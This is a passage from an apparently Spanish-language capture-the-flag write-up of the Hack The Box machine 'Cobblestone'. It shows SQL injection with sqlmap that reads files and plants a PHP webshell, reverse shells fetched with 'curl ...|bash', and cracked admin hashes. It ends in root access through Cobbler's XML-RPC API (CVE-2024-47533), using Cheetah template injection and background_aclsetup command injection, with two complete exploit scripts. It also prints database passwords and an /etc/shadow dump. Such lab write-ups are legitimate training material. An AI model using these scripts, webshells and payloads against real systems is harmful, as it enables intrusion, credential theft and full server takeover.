$maxBytes = 8 * 1024 * 1024;

foreach ($_FILES['images']['tmp_name'] as $idx => $tmp_name) {
    $err = $_FILES['images']['error'][$idx];

    if ($err !== UPLOAD_ERR_OK || !is_uploaded_file($tmp_name)) {
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(400);
        die('Error uploading file.');
    }

    if (filesize($tmp_name) === false || filesize($tmp_name) > $maxBytes) {
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(400);
        die('File too large.');
    }

    $mime = $finfo->file($tmp_name);
    if ($mime !== 'image/png') {
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(400);
        die('Only PNG images are allowed.');
    }

    $img = @imagecreatefrompng($tmp_name);
    if ($img === false) {
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(400);
        die('Invalid PNG file.');
    }

    $w = imagesx($img); $h = imagesy($img);
    if ($w <= 0 || $h <= 0 || $w > 4096 || $h > 4096) {
        imagedestroy($img);
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(400);
        die('Image dimensions are not allowed.');
    }

    $basename = bin2hex(random_bytes(16)) . '.png';
    $target   = $uploadDir . $basename;

    if (!imagepng($img, $target, 6)) {
        imagedestroy($img);
        foreach ($writtenFiles as $p) { @unlink($p); }
        http_response_code(500);
        die('Failed to save image.');
    }
    imagedestroy($img);

    @chmod($target, 0644);

    $writtenFiles[] = $target;
    $storedPaths[] = str_replace($baseDir, '', $target);
}

$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if ($name === '' || mb_strlen($name) > 255) {
    foreach ($writtenFiles as $p) { @unlink($p); }
    http_response_code(400);
    die('Invalid name.');
}

$stmt = $conn->prepare("INSERT INTO skins (Name, Path, ImagePath) VALUES (?, ?, ?)");
if (!$stmt) {
    foreach ($writtenFiles as $p) { @unlink($p); }
    http_response_code(500);
    die('Failed to prepare SQL statement: ' . $conn->error);
}

$stmt->bind_param("sss", $name, $storedPaths[0], $storedPaths[1]);
if ($stmt->execute()) {
    echo "Files uploaded and database updated successfully!";
    echo '<meta http-equiv="refresh" content="2; url=skins.php">';
} else {
    foreach ($writtenFiles as $p) { @unlink($p); }
    http_response_code(500);
    echo "Database insertion error: " . $stmt->error;
}
$stmt->close();
$stmt->close();
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# /var/www/vote/db/connection.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_vote_db_connection.php
<?php

$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# /var/www/vote/suggest.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_vote_suggest.php
<?php

include('db/connection.php');

session_start();

if (!isset($_SESSION['id']) || empty($_SESSION['id'])) {
	header("Location: login.php");
	exit();
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST['url'])) {
    $url = $_POST['url'];
    $user_id = $_SESSION['id'];
    $approved = 0;
    $votes = 0;


    // Use a prepared statement to insert the user
    $stmt = $conn->prepare('INSERT INTO votes (user_id, approved, url, votes) VALUES (?, ?, ?, ?)');
    $stmt->bind_param("ssss", $user_id, $approved, $url, $votes);

    if ($stmt->execute()) {
        $id = $conn->insert_id;

        header("Location: details.php?id=$id");
        exit();
    } else {
        $_SESSION['suggestion_error'] = "Something went wrong";
        header("Location: index.php");
        exit();
    }

    $stmt->close();
}
$conn->close();
?>%                                                                                                                                                                                     ❯

Write files

Realizamos la escritura de archivos especificamente la de una mini-webshell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ cat c.php
<?php
echo(system($_GET['c']));
?>
❯ sqlmap -r suggest_url.req --batch --file-write c.php --file-dest /var/www/html/c.php
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:46:30 /2025-08-14/

[18:46:30] [INFO] parsing HTTP request from 'suggest_url.req'
[18:46:30] [INFO] resuming back-end DBMS 'mysql' 
[18:46:30] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=4'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:46:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:46:30] [INFO] fingerprinting the back-end DBMS operating system
[18:46:30] [INFO] the back-end DBMS operating system is Linux
[18:46:32] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file 'c.php' has been successfully written on the back-end DBMS file system ('/var/www/html/c.php')? [Y/n] Y
[18:46:33] [INFO] the remote file '/var/www/html/c.php' is larger (33 B) than the local file 'c.php' (29B)
[18:46:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 18:46:33 /2025-08-14/

Logrando con esta la ejecucion de comandos dentro de la maquina. Aunque por alguna razon no fue posible ejecutar ciertos comandos o una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# sqlmap -r suggest_url.req --batch --file-write c.php --file-dest /var/www/html/c.php
❯ curl -s 'http://cobblestone.htb/c.php?c=id' -o /tmp/o
❯ cat /tmp/o
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
❯ cat a.php
<?php
exec("curl 10.10.14.33:8000/10.10.14.33:1335|bash");
❯ curl -s 'http://cobblestone.htb/a.php' -o /tmp/o
❯ cat /tmp/o

User - www-data

Basados en la configuracion de apache, creamos en el directorio /var/www/vote/ nuestra mini-webshell donde logramos la ejecucion de una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# sqlmap -r suggest_url.req --batch --file-write c.php --file-dest /var/www/vote/c.php
# http://vote.cobblestone.htb/c.php?c=curl%2010.10.14.33:8000/10.10.14.33:1335|bash
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 51796
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ls -lah
total 100K
drwxr-xr-x 9 root  root  4.0K Aug 15 01:20 .
drwxr-xr-x 5 root  root  4.0K Aug 15 01:20 ..
-rw-r--r-- 1 mysql mysql   39 Aug 15 01:20 c.php
-rw-r--r-- 1 root  root    56 Sep 30  2024 composer.json
-rw-r--r-- 1 root  root   14K Sep 30  2024 composer.lock
drwxr-xr-x 2 root  root  4.0K Apr 23 07:57 css
drwxr-xr-x 2 root  root  4.0K Sep 30  2024 db
-rw-r--r-- 1 root  root  2.8K Apr 24 08:09 details.php
-rw-r--r-- 1 root  root  1.2K Sep 30  2024 favicon.ico
drwxr-xr-x 2 root  root  4.0K Oct  1  2024 img
-rw-r--r-- 1 root  root  6.4K Apr 24 08:12 index.php
drwxr-xr-x 2 root  root  4.0K Oct  1  2024 js
-rw-r--r-- 1 root  root  6.3K Apr 24 07:40 login.php
-rw-r--r-- 1 root  root  1.1K Apr 24 07:55 login_verify.php
-rw-r--r-- 1 root  root   101 Sep 30  2024 logout.php
-rw-r--r-- 1 root  root  2.0K Apr 24 07:42 register.php
-rw-r--r-- 1 root  root   844 Apr 24 08:06 suggest.php
drwxr-xr-x 2 root  root  4.0K Sep 30  2024 templates
drwxr-xr-x 5 root  root  4.0K Sep 30  2024 vendor
drwxr-xr-x 2 root  root  4.0K Sep 30  2024 webfonts
$

Se observa que localmente esta a la escucha el puerto 3306 y 25151.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$  netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:25151         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
$ 

Data Base - Cobblestone

Con las credenciales de la base de datos encontradas anteriormente logramos el acceso a la base de datos cobblestone.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
$ mysql -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone -e "show tables;"
Tables_in_cobblestone
skins
suggestions
users
$ mysql -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone -e "describe users;"
Field	Type	Null	Key	Default	Extra
id	int(11)	NO	PRI	NULL	auto_increment
Username	varchar(255)	YES		NULL	
FirstName	varchar(255)	YES		NULL	
LastName	varchar(255)	YES		NULL	
Email	varchar(255)	YES		NULL	
Role	varchar(255)	YES		NULL	
Password	varchar(255)	YES		NULL	
register_ip	varchar(100)	YES		NULL	
$ mysql -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone -e "select Username,Role,Password,register_ip from users;"
Username	Role	Password	register_ip
admin	admin	f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1	*
cobble	admin	20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d	*
sckull	user	79910e121ef064ca277dcdde1c9eced3a1b682a9b423d93a8f18c2db673235c7	10.10.14.33
$

Obtuvimos los hashes de contrasena de los usuarios administrador.

1
2
3
4
5
$ mysql -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone -e "select Password from users where Role='admin';"
Password
f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d
$

crackstation muestra el valor del hash para el usuario cobble.

Hash Type Result
f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 Unknown Not found.
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d sha256 iluvdannymorethanyouknow

User - Cobble

Ingresamos por SSH utilizando la contrasena con el usuario cobble logrando la lectura de la flag user.txt. Aunque la shell obtenida es limitada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ ssh cobble@cobblestone.htb
cobble@cobblestone.htb's password: 
Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ whoami;id
-rbash: whoami: command not found
-rbash: id: command not found
cobble@cobblestone:~$ env                                                                                                                                                              
-rbash: env: command not found
cobble@cobblestone:~$ ls                                                                                                                                                               
user.txt
cobble@cobblestone:~$ ls -lah                                                                                                                                                          
total 32K
drwx------ 3 cobble cobble 4.0K Jul 24 14:41 .
drwxr-xr-x 3 root   root   4.0K Jul 24 14:41 ..
-rwx------ 1 root   root      1 Oct  1  2024 .bash_history
-rwx------ 1 cobble cobble  220 Oct  1  2024 .bash_logout
-rwx------ 1 cobble cobble 3.5K Oct  1  2024 .bashrc
-rwx------ 1 cobble cobble  807 Oct  1  2024 .profile
drwx------ 2 cobble cobble 4.0K Jul 24 14:41 .ssh
-rw-r----- 2 root   cobble   33 Aug 14 18:03 user.txt
cobble@cobblestone:~$ cat user.txt                                                                                                                                                     
91e09b36948e8ee7b67179cdaec022a4
cobble@cobblestone:~$

Privesc

Port Forwarding

Realizamos port forwarding para obtener localmente el puerto 25151 que anteriormente se identifico en el archivo apache y puertos locales.

1
2
3
❯ ssh cobble@cobblestone.htb -L 25151:127.0.0.1:25151
cobble@cobblestone.htb's password: 

Cobbler

Al realizar una solicitud al puerto 25151 se muestra que no soporta el metodo GET.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ curl -s http://127.0.0.1:25151/
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 501</p>
        <p>Message: Unsupported method ('GET').</p>
        <p>Error code explanation: 501 - Server does not support this operation.</p>
    </body>
</html>

Tras enviar una solicitud POST cualquiera este retorna una strcutura XML.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ curl -s http://127.0.0.1:25151 -X POST -d junk
<?xml version='1.0'?>
<methodResponse>
<fault>
<value><struct>
<member>
<name>faultCode</name>
<value><int>1</int></value>
</member>
<member>
<name>faultString</name>
<value><string>&lt;class 'xml.parsers.expat.ExpatError'&gt;:syntax error: line 1, column 0</string></value>
</member>
</struct></value>
</fault>
</methodResponse>

Si nos basamos en la configuracion de apache este menciona cobbler_api la cual se refiere a cobbler en este caso a XMLRPC API con la respuesta anterior.

1
2
3
4
5
6
7
8
<VirtualHost *:80>
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]
	ServerName 127.0.0.1
	ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
	ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

Tambien observamos que existe un proceso con este mismo nombre.

1
2
3
4
5
6
7
cobble@cobblestone:~$
# [... snip ...]
root        1135       1  0 Aug28 ?        00:00:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
root        1142       1  0 Aug28 ?        00:00:07 /usr/bin/python3 /usr/local/bin/cobblerd -F
mysql       1229       1  0 Aug28 ?        00:00:13 /usr/sbin/mariadbd
# [... snip ...]
cobble@cobblestone:~$

CVE-2024-47533

Realizamos una busqueda de vulnerabilidades y encontramos que existe una que permite realizar cambios con el “par de credenciales” '' : -1 en la API (CVE-2024-47533). Tras ejecutar el PoC este crearia un system, se agrego la escritura de este en consola la cual muestra exitosa.

1
2
3
4
❯ python xml-api.py
Login success!
___NEW___system::Okxurg0ttcgzVptFn4lsTuJ16QcIef4I2A==

Enumeramos la informacion como indica la documentacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# [... snip ...]

a = s.version(token)
print(a)
print("distros")
print(s.get_distros())
print("profiles")
print(s.get_profiles())
print("systems")
print(s.get_systems())
print("images")
print(s.get_images())

Se muestra unicamente la imagen minecraft.1.21.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ python xml-api.py
3.306
[]
distros
[]
profiles
[]
systems
[]
images
[{'parent': '', 'depth': 0, 'ctime': 1727697786.151345, 'mtime': 1727697786.151345, 'uid': '6128813534084d4684d446648f035f4a', 'name': 'minecraft.1.21', 'comment': '', 'kernel_options': {}, 'kernel_options_post': {}, 'autoinstall_meta': {}, 'fetchable_files': {}, 'boot_files': {}, 'template_files': {}, 'owners': '<<inherit>>', 'mgmt_classes': '<<inherit>>', 'mgmt_parameters': {}, 'is_subobject': False, 'arch': 'x86_64', 'autoinstall': '<<inherit>>', 'breed': '', 'file': '', 'image_type': 'direct', 'network_count': 0, 'os_version': '', 'boot_loaders': [], 'menu': '', 'virt_auto_boot': False, 'virt_bridge': '<<inherit>>', 'virt_cpus': 1, 'virt_disk_driver': 'raw', 'virt_file_size': '<<inherit>>', 'virt_path': '', 'virt_ram': '<<inherit>>', 'virt_type': '<<inherit>>', 'kickstart': '<<inherit>>', 'ks_meta': {}}]

Cobbler Components

Basados en la documentacion cobbler esta tiene tres componentes los cuales se relacionan uno con el otro. Distro representa el sistema operativo, profile en esta se definen la configuracion (particiones, paquetes, networking, etc.) y system el cual representa un virtual host, se crea a partir de un perfil. Si observamos la relacion seria: Distro → Profile → System.

Los valores necesarios para la creacion de cada uno serian:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
* distro 
 - initrd
 - kernel
 - name

* profile
- distro (name of a distro)
- name 

* system 
- name 
- profile (profile assosiate to it)

Shell via Templates

Dentro de un System existen automatic installation templates las cuales son ejecutadas al crear un system, utilizan el motor de plantillas Cheetah.

Nos basamos del codigo de cobbler para la creacion de una distro, profile, template y system. El objetivo es la ejecucion de comandos mediante una template utilizando Cheetah. Informacion para la distro se obtuvo con la shell de www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
import ssl
import xmlrpc.client

ssl_context = ssl._create_unverified_context()
url = "http://127.0.0.1:25151/"
s = xmlrpc.client.Server(url)

try:
    token = s.login('', -1)
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler")
except Exception as e:
    print(f"Connection failed. {e}")

v = s.version(token)
print(f"Version: {v}")

def distro():
    distro_id = s.new_distro(token)
    s.modify_distro(distro_id, 'name',   'distro-zero',token)
    # from /boot/
    s.modify_distro(distro_id, 'kernel', '/boot/vmlinuz-6.1.0-37-amd64',token)
    s.modify_distro(distro_id, 'initrd', '/boot/initrd.img-6.1.0-37-amd64',token)

    s.save_distro(distro_id,token)

def profile():
    profileid = s.new_profile(token)

    s.modify_profile(profileid, 'name', 'profile-zero', token)
    s.modify_profile(profileid, 'distro', 'distro-zero', token)
    s.save_profile(profileid, token)

def template_system():    
    t = s.write_autoinstall_template('test',"${__import__('os').system('id>sckull')}",token)
    print("Template created")    
    t = s.read_autoinstall_template('test',token)
    print(f"Content of Template: {t}")


def system():
    sysid = s.new_system(token)

    s.modify_system(sysid,"name","system-zero",token)
    s.modify_system(sysid,"hostname","sckull.htb",token)
    s.modify_system(sysid,"profile","profile-zero",token)
    # https://cobbler.readthedocs.io/en/latest/code-autodoc/cobbler.items.html#module-cobbler.items.system
    s.modify_system(sysid,"template_files",{'/var/lib/cobbler/templates/test':'/test'},token)

    s.save_system(sysid, token)
    s.sync(token)
    print(sysid)


distro()
profile()
template_system()
# create and add template file
system()

Tras la ejecucion observamos que se creo la plantilla y el contenido de esta, asi mismo se muestra el “identificador” del system creado.

1
2
3
4
5
6
❯ python xml-api.py
Version: 3.306
Template created
Content of Template: ${__import__('os').system('id>sckull')}
___NEW___system::XkzoPV0KOB07xazH0JpHBj75SMfdmXCZ8Q==

Con la shell de www-data observamos que se genero el archivo donde se observa la ejecucion de id.

1
2
3
4
5
www-data@cobblestone:/var/www/vote$ find / -name sckull 2>/dev/null
/sckull
www-data@cobblestone:/var/www/vote$ cat /sckull
uid=0(root) gid=0(root) groups=0(root)
www-data@cobblestone:/var/www/vote$

Modificamos el script, en la plantilla, para realizar una copia de bash con permisos SUID.

1
2
3
# ...
t = s.write_autoinstall_template('test',"${__import__('os').system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc')}",token)
# ...

Tras ejecutar el script logramos obtener una shell privilegiada y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
www-data@cobblestone:/var/www/vote$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.3M Aug 15 01:16 /usr/bin/sc
www-data@cobblestone:/var/www/vote$ /usr/bin/sc -p
sc-5.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
sc-5.2# cd /root
sc-5.2# ls
cobbler-3.3.6		 reset-webapps.sh	 terminate-shells.sh
db-cleanup.sh		 root.txt		 webapps.zip
distro_mirror-cleanup.sh  sshd_config
enable-protections.sh	 suggestions-cleanup.sh
sc-5.2# cat root.txt
a4f95e76897e14738c4deda7942a671b
sc-5.2# 

Shell via ACL Configuration

Segun un issue en el repositorio de cobbler existe la vulnerabilidad de Command Injection en background_aclsetup bajo la opcion adduser.

Intentamos replicar la explotacion con el siguiente script el cual ejecutaria whoami.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
import ssl
import xmlrpc.client

ssl_context = ssl._create_unverified_context()
url = "http://127.0.0.1:25151/"
s = xmlrpc.client.Server(url)

try:
    token = s.login('', -1)
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler")
except Exception as e:
    print(f"Connection failed. {e}")

v = s.version(token)
print(f"Version: {v}")

system_id = s.new_system(token)

s.background_aclsetup({'adduser':'`curl 10.10.14.33/$(whoami)`'}, token)

Colocamos netcat a la escucha el cual recibio el resultado de la ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 40300
GET /root HTTP/1.1
Host: 10.10.14.33
User-Agent: curl/7.88.1
Accept: */*


Tambien se logro la ejecucion de una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# s.background_aclsetup({'adduser':'`curl 10.10.14.33:8000/10.10.14.33:1335|bash`'}, token)
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 51168
/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/
#

Loot

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sc-5.2# cat /etc/shadow
root:$y$j9T$GkvDOmNntXI/Ewjpng7nM.$0J4ZYo3xXXfM7SfPKZ67Y.wY./PmrX7/bXDywzXSPr2:19993:0:99999:7:::
daemon:*:19992:0:99999:7:::
bin:*:19992:0:99999:7:::
sys:*:19992:0:99999:7:::
sync:*:19992:0:99999:7:::
games:*:19992:0:99999:7:::
man:*:19992:0:99999:7:::
lp:*:19992:0:99999:7:::
mail:*:19992:0:99999:7:::
news:*:19992:0:99999:7:::
uucp:*:19992:0:99999:7:::
proxy:*:19992:0:99999:7:::
www-data:*:19992:0:99999:7:::
backup:*:19992:0:99999:7:::
list:*:19992:0:99999:7:::
irc:*:19992:0:99999:7:::
_apt:*:19992:0:99999:7:::
nobody:*:19992:0:99999:7:::
systemd-network:!*:19992::::::
systemd-timesync:!*:19992::::::
messagebus:!:19992::::::
avahi-autoipd:!:19992::::::
sshd:!:19992::::::
cobble:$y$j9T$f3bI5YQItFNvEEL8PKykT/$9WNiwpF59w4Mk84C8evmIn8.t9IRjRf/FphzbwYLt80:19993:0:99999:7:::
mysql:!:19993::::::
tftp:!:19996::::::
_laurel:!:20291::::::
john:!:20305:0:99999:7:::
sc-5.2#

Exploits

Via Templates

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
import ssl
import xmlrpc.client


ssl_context = ssl._create_unverified_context()
url = "http://127.0.0.1:25151/"
s = xmlrpc.client.Server(url)

try:
    token = s.login('', -1)
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler")
except Exception as e:
    print(f"Connection failed. {e}")

v = s.version(token)
print(f"Version: {v}")


def distro():
    distro_id = s.new_distro(token)
    s.modify_distro(distro_id, 'name',   'distro-zero',token)
    # from /boot/
    s.modify_distro(distro_id, 'kernel', '/boot/vmlinuz-6.1.0-37-amd64',token)
    s.modify_distro(distro_id, 'initrd', '/boot/initrd.img-6.1.0-37-amd64',token)

    s.save_distro(distro_id,token)

def profile():
    profileid = s.new_profile(token)

    s.modify_profile(profileid, 'name', 'profile-zero', token)
    s.modify_profile(profileid, 'distro', 'distro-zero', token)

    s.save_profile(profileid, token)

def template_system():    
    t = s.write_autoinstall_template('bash',"${__import__('os').system('curl 10.10.14.33:8000/10.10.14.33:1335|bash')}",token)
    t = s.read_autoinstall_template('bash',token)
    
    print(f"Content of Template: {t}")

def system():
    sysid = s.new_system(token)

    s.modify_system(sysid,"name","system-zero",token)
    s.modify_system(sysid,"hostname","sckull.htb",token)
    s.modify_system(sysid,"profile","profile-zero",token)
    # https://cobbler.readthedocs.io/en/latest/code-autodoc/cobbler.items.html#module-cobbler.items.system
    s.modify_system(sysid,"template_files",{'/var/lib/cobbler/templates/bash':'/bash'},token)

    s.save_system(sysid, token)

    s.sync(token)    

if __name__ == '__main__':    
    distro()
    profile()
    # create a template to add into the new system
    template_system()
    # create and add template file
    system()

Via ACL Configuration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import ssl
import xmlrpc.client


ssl_context = ssl._create_unverified_context()
url = "http://127.0.0.1:25151/"
s = xmlrpc.client.Server(url)

try:
    token = s.login('', -1)
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler")
except Exception as e:
    print(f"Connection failed. {e}")

v = s.version(token)
print(f"Version: {v}")

system_id = s.new_system(token)

s.background_aclsetup({'adduser':'`curl 10.10.14.33:8000/10.10.14.33:1335|bash`'}, token)
Share on

Dany Sucuc
WRITTEN BY
sckull